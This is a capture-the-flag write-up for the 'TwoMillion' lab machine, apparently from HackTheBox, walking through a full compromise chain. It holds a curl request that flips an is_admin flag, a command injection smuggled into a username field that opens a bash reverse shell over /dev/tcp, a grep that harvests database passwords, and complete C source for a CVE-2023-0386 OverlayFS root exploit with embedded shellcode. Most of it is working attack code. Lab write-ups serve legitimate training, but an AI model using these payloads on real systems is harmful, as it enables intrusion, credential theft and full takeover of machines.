Explore the fundamentals of cybersecurity in the TwoMillion Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts#

10.10.11.221 2million.htb

Script to add hosts automatically#

ip="10.10.11.221"
domain="2million.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping#

nmap -sCV 2million.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-27 00:52 CEST
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Invite Code Functions#

After exploring http://2million.htb/invite and analyzing the script located at http://2million.htb/js/inviteapi.min.js, the deobfuscated and beautified JavaScript code is as follows:

function verifyInviteCode(code) {
    var formData = { "code": code };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate/verify',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
}

Open the developer console (F12) and run the following command:

makeInviteCode();

This will return a message encoded with ROT13.

echo "<message>" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
echo "The code is -> $(curl -s -X POST http://2million.htb/api/v1/invite/generate | jq .data.code | tr -d '"' | base64 -d)"

Creating an Account and Logging In#

After logging in at http://2million.htb/home/access, capture the GET request to /api/v1/user/vpn/regenerate using Burp Suite. Modify the request by changing the endpoint to /api/v1, which will reveal other available API endpoints.

Remote Code Execution#

echo -n "PHPSESSID in Coockie? -> " ; read coockie
curl -sq http://2million.htb/api/v1 -H 'Cookie: PHPSESSID='$coockie'' | jq .
echo -n "Input your email -> " ; read email
curl -sq -X PUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Content-Type: application/json' -H 'Cookie: PHPSESSID='$coockie'' --data "{\"email\":\"$email\", \"is_admin\":1}" | jq .
echo -n "Run a revshell and press Enter --> nc -lvnp 9001" ; read
echo "Payload Deployed Check Your Listener for Incoming Signals\!"
tun0=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
timeout 1 curl -sq -X POST http://2million.htb/api/v1/admin/vpn/generate -H 'Cookie: PHPSESSID='$coockie'' -H 'Content-Type: application/json'  --data "{\"username\":\"\$(bash -c '/bin/bash -i >& /dev/tcp/$tun0/9001 0>&1')\"}"

Database Password#

Run the following command to search for database credentials:

find /var/www -type f -name "*" -exec grep -Hni 'db_' {} \; 2>/dev/null

This reveals the database user and password.

Next, using su admin, you’ll find that the same password works for the admin user. Now, SSH into the server:

ssh admin@2million.htb

Then, to locate files owned by the admin user:

find / -user admin 2>/dev/null | grep -v '^/proc\|^/run\|^/sys'

This will reveal the file /var/mail/admin. Viewing this file:

cat /var/mail/admin

You’ll find an email mentioning dbmigration and OverlayFS.

CVE-2023-0386 (OverlayFS)#

Create efuse.c

#define FUSE_USE_VERSION 30

#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static const char *hello_path = "/hello";
const char hello_str[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

static int hellofs_getattr(const char *path, struct stat *stbuf)
{
    int res = 0;
    memset(stbuf, 0, sizeof(struct stat));
    if (strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) {
    stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str);
    } else {
        res = -ENOENT;
    }
    return res;
}

static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi)
{
    (void) offset;
    (void) fi;
    if (strcmp(path, "/") != 0) {
        return -ENOENT;
    }
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0);
    return 0;
}

static int hellofs_open(const char *path, struct fuse_file_info *fi)
{
    puts("[+] open_callback");
    puts(path);
    if (strcmp(path, "hello") == 0)
    {
        int fd = open("", fi->flags);
        return -errno;
    }
    return 0;
}

static int hellofs_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi)
{
    size_t len;
    (void) fi;
    if(strcmp(path, hello_path) != 0) {
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) {
        if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size);
    } else {
        size = 0;
    }
    return size;
}

static int ioctl_callback(const char *p, int cmd, void *arg, struct fuse_file_info *fi, unsigned int flags, void *data)
{
    puts("[+] ioctl callback");
    printf("path %s\n", p);
    printf("cmd 0x%x\n", cmd);
    return 0;
}

static struct fuse_operations hellofs_oper = {
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
    .ioctl = ioctl_callback
};

int main(int argc, char *argv[]) {
    system("[ ! -d fuse ]  && ""mkdir -p fuse upper overlay workdir && echo '[+] Created fuse file system\n[+] Run Again to get root shell'");
    argc = 2;
    argv[1] = "fuse";
    fuse_main(argc, argv, &hellofs_oper, NULL);
    const char *overlay_command =
        "unshare -Urm /bin/bash -c '"
        "mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay && "
        "echo \"[+] Create overlayFS\" && "
        "touch overlay/hello && "
        "echo \"[+] Copy Up\" && "
        "exit'";
    system(overlay_command);
    printf("[+] You are root!\n");
    system("./upper/hello");
    return 0;
}

Compile and run:

gcc efuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
chmod +x ./efuse
./efuse
cat /root/root.txt